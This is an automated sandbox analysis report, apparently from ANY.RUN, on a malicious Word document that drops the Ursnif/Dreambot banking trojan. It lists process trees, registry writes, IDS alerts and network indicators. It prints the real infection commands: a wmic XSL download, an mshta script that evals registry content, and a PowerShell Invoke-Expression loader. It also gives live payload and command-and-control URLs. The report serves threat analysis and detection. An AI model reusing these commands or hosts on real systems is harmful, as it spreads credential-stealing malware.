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| File name: | 55442cc275eb47841274e1ffea1a6a958263cadd6377da6c3ed97a464ee3d59b.doc |
| Full analysis: | https://app.any.run/tasks/18a4c239-d715-44e4-a01f-2fffbd893c9a |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | June 12, 2019, 02:43:02 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.openxmlformats-officedocument.wordprocessingml.document |
| File info: | Microsoft Word 2007+ |
| MD5: | ACFF0ECEA548BE69DC3BFE93203CB1DC |
| SHA1: | 45E8F445942B09AF73E04F60702C5E308B5911C9 |
| SHA256: | 55442CC275EB47841274E1FFEA1A6A958263CADD6377DA6C3ED97A464EE3D59B |
| SSDEEP: | 12288:/GQapqZnn8SBc+k2k2vOG4Zt/JS87ANjxnWCbbhKaXWyyKMJrd:/FapknPTDk2v8DS87EjxnWAbTWm6Z |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2944)
Application was dropped or rewritten from another process
- aIXelg.exe (PID: 3372)
Downloads executable files from the Internet
- wmic.exe (PID: 2928)
Downloads executable files from IP
- wmic.exe (PID: 2928)
DREAMBOT was detected
- iexplore.exe (PID: 2288)
URSNIF was detected
- iexplore.exe (PID: 2288)
- iexplore.exe (PID: 4036)
Connects to CnC server
- iexplore.exe (PID: 4036)
- iexplore.exe (PID: 2288)
Executes PowerShell scripts
- mshta.exe (PID: 2736)
Starts Visual C# compiler
- powershell.exe (PID: 3968)
Runs injected code in another process
- powershell.exe (PID: 3968)
Application was injected by another process
- explorer.exe (PID: 252)
Runs PING.EXE for delay simulation
- cmd.exe (PID: 3836)
URSNIF Shellcode was detected
- explorer.exe (PID: 252)
SUSPICIOUS
Creates files in the Windows directory
- WINWORD.EXE (PID: 2944)
- wmic.exe (PID: 2928)
Executable content was dropped or overwritten
- wmic.exe (PID: 2928)
Executed via COM
- iexplore.exe (PID: 3844)
Reads Internet Cache Settings
- explorer.exe (PID: 252)
Starts MSHTA.EXE for opening HTA or HTMLS files
- explorer.exe (PID: 252)
Starts CMD.EXE for self-deleting
- explorer.exe (PID: 252)
Creates files in the user directory
- powershell.exe (PID: 3968)
- explorer.exe (PID: 252)
- makecab.exe (PID: 2188)
Starts CMD.EXE for commands execution
- explorer.exe (PID: 252)
Checks for external IP
- nslookup.exe (PID: 1628)
INFO
Starts Microsoft Office Application
- explorer.exe (PID: 252)
Creates files in the user directory
- WINWORD.EXE (PID: 2944)
- iexplore.exe (PID: 2288)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2944)
Reads Internet Cache Settings
- iexplore.exe (PID: 2288)
- iexplore.exe (PID: 3844)
- iexplore.exe (PID: 4036)
Changes internet zones settings
- iexplore.exe (PID: 3844)
Reads internet explorer settings
- iexplore.exe (PID: 2288)
- iexplore.exe (PID: 4036)
- mshta.exe (PID: 2736)
Application launched itself
- iexplore.exe (PID: 3844)
Manual execution by user
- mshta.exe (PID: 2736)
- cmd.exe (PID: 3836)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .docm | | | Word Microsoft Office Open XML Format document (with Macro) (53.6) |
|---|---|---|
| .docx | | | Word Microsoft Office Open XML Format document (24.2) |
| .zip | | | Open Packaging Conventions container (18) |
| .zip | | | ZIP compressed archive (4.1) |
EXIF
XMP
| Description: | - |
|---|---|
| Creator: | admin |
| Subject: | - |
| Title: | - |
XML
| ModifyDate: | 2019:06:11 10:20:00Z |
|---|---|
| CreateDate: | 2019:06:11 10:18:00Z |
| RevisionNumber: | 4 |
| LastModifiedBy: | Admin |
| Keywords: | - |
| AppVersion: | 16 |
| HyperlinksChanged: | No |
| SharedDoc: | No |
| CharactersWithSpaces: | 1 |
| LinksUpToDate: | No |
| Company: | - |
| TitlesOfParts: | - |
| HeadingPairs: |
|
| ScaleCrop: | No |
| Paragraphs: | 1 |
| Lines: | 1 |
| DocSecurity: | None |
| Application: | Microsoft Office Word |
| Characters: | 1 |
| Words: | - |
| Pages: | 1 |
| TotalEditTime: | 2 minutes |
| Template: | Normal.dotm |
ZIP
| ZipFileName: | [Content_Types].xml |
|---|---|
| ZipUncompressedSize: | 1635 |
| ZipCompressedSize: | 426 |
| ZipCRC: | 0xc8e48bf2 |
| ZipModifyDate: | 1980:01:01 00:00:00 |
| ZipCompression: | Deflated |
| ZipBitFlag: | 0x0006 |
| ZipRequiredVersion: | 20 |
Total processes
61
Monitored processes
20
Malicious processes
7
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2944 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\55442cc275eb47841274e1ffea1a6a958263cadd6377da6c3ed97a464ee3d59b.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 2928 | wmic os get /format:"C:\\Windows\\Temp\\aYIFhfax.xsl" | C:\Windows\System32\Wbem\wmic.exe | WINWORD.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: WMI Commandline Utility Exit code: 2147614729 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3372 | "C:\Windows\Temp\aIXelg.exe" | C:\Windows\Temp\aIXelg.exe | — | wmic.exe |
User: admin Company: Inflection Integrity Level: MEDIUM Description: Lastfeel Exit code: 0 Version: 10.1.84.45 | ||||
| 3844 | "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding | C:\Program Files\Internet Explorer\iexplore.exe | svchost.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Exit code: 1 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
| 2288 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3844 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
| 4036 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3844 CREDAT:203009 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
| 2736 | "C:\Windows\System32\mshta.exe" "about:<hta:application><script>moveTo(-898,-989);resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\AppDataLow\\Software\\Microsoft\\89726C36-545A-A301-A6CD-C8873A517CAB\\Devivmgr'));if(!window.flag)close()</script>" | C:\Windows\System32\mshta.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
| 3968 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-Expression ([System.Text.Encoding]::ASCII.GetString((Get-ItemProperty "HKCU:Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB").crypptsp)) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | mshta.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 1692 | "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\ptdopc0g.cmdline" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | powershell.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 8.0.50727.4927 (NetFXspW7.050727-4900) | ||||
| 3288 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES88A3.tmp" "c:\Users\admin\AppData\Local\Temp\CSC88A2.tmp" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | — | csc.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 8.00.50727.4940 (Win7SP1.050727-5400) | ||||
Total events
2 458
Read events
1 608
Write events
842
Delete events
8
Modification events
| (PID) Process: | (2944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | qm |
Value: 716D2000800B0000010000000000000000000000 | |||
| (PID) Process: | (2944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2944) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1321992222 | |||
| (PID) Process: | (2944) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1321992344 | |||
| (PID) Process: | (2944) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1321992345 | |||
| (PID) Process: | (2944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 800B00007EDEB497C820D50100000000 | |||
| (PID) Process: | (2944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | kn |
Value: 6B6E2000800B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | kn |
Value: 6B6E2000800B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
2
Suspicious files
5
Text files
18
Unknown types
8
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2944 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRE9F1.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3844 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
| 3844 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
| 3844 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
| 2944 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:CB897EFA238A032C65F3D90484B38B7C | SHA256:50872C874F3D0F8CF96021D825FFBAAA78BF237A27E9303844001135C3E1948B | |||
| 2944 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:6D6BBD06738E6E67E30243139DD3ACA4 | SHA256:B2EF5C1ABA8DA670675CF9FB93E2EC7E0AD3BB2C2C6FB6A73FFDB41DD33F3501 | |||
| 3844 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DFBDDB221EC1B93B70.TMP | — | |
MD5:— | SHA256:— | |||
| 3844 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DFABD17192A5A4357F.TMP | — | |
MD5:— | SHA256:— | |||
| 3844 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\{E975B856-8CBB-11E9-B3B3-5254004A04AF}.dat | — | |
MD5:— | SHA256:— | |||
| 3844 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012019061220190613\index.dat | dat | |
MD5:B8D616D6057A06EE1A085B0738F24737 | SHA256:B835BD39D978971DFAD668BB92D830BFA88444CBA5AA2F90A88F2DB570879044 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
8
DNS requests
5
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2928 | wmic.exe | GET | 200 | 89.45.67.121:80 | http://89.45.67.121/files/5507.exe | BG | executable | 432 Kb | suspicious |
2288 | iexplore.exe | GET | 200 | 213.252.245.154:80 | http://213.252.245.154/images/YKT28zR21RuL/mzPRLWs2tyG/7jg3gTn9Ypx2Lo/Lf2uh5mMw5bS8XS52EFNO/5yURNR9vudzjvhbU/kRtVhEWTAfuSiyB/QYxgwLJEPagNF15YXA/ECbHxhJOn/_2BY2rGTGdMMzyA_2B_2/Fmnhv0FHQ9H7n04/ttzpd.avi | LT | text | 213 Kb | malicious |
3844 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
4036 | iexplore.exe | GET | 200 | 213.252.245.154:80 | http://213.252.245.154/images/eYWR7TKBwDE83fUcC/Zt_2FbYbwjBK/pVGQ9ntH0UH/v5a3n_2FLvwrBV/BYbh84j8AEtO2dmWF7qmY/KZpsdVce8p8MHy2C/6qFAEAeyNxLldWZ/yGuqdA0EsTs1MKrLCa/Owot_2Fe4/kNAmi_2BABt7ot3DYe7q/9iFvt.avi | LT | text | 2.30 Kb | malicious |
3844 | iexplore.exe | GET | 200 | 213.252.245.154:80 | http://213.252.245.154/favicon.ico | LT | image | 5.30 Kb | malicious |
3844 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3844 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
— | — | 208.67.222.222:53 | resolver1.opendns.com | OpenDNS, LLC | US | malicious |
2288 | iexplore.exe | 213.252.245.154:80 | — | Informacines sistemos ir technologijos, UAB | LT | malicious |
3844 | iexplore.exe | 213.252.245.154:80 | — | Informacines sistemos ir technologijos, UAB | LT | malicious |
2928 | wmic.exe | 89.45.67.121:80 | — | BelCloud Hosting Corporation | BG | suspicious |
4036 | iexplore.exe | 213.252.245.154:80 | — | Informacines sistemos ir technologijos, UAB | LT | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.bing.com |
| whitelisted |
resolver1.opendns.com |
| shared |
222.222.67.208.in-addr.arpa |
| unknown |
myip.opendns.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2928 | wmic.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
2928 | wmic.exe | A Network Trojan was detected | ET CURRENT_EVENTS Possible Malicious Macro DL EXE Feb 2016 |
2928 | wmic.exe | A Network Trojan was detected | ET CURRENT_EVENTS Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 |
2928 | wmic.exe | Misc activity | ET INFO Packed Executable Download |
2928 | wmic.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2928 | wmic.exe | A Network Trojan was detected | ET CURRENT_EVENTS Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 |
2928 | wmic.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |
2288 | iexplore.exe | A Network Trojan was detected | MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in |
2288 | iexplore.exe | A Network Trojan was detected | MALWARE [PTsecurity] Spy:Win32/Dreambot/Ursnif |
2288 | iexplore.exe | A Network Trojan was detected | MALWARE [PTsecurity] W32.Dreambot/Ursnif HTTP GET Check-in |
3 ETPRO signatures available at the full report
Process | Message |
|---|---|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|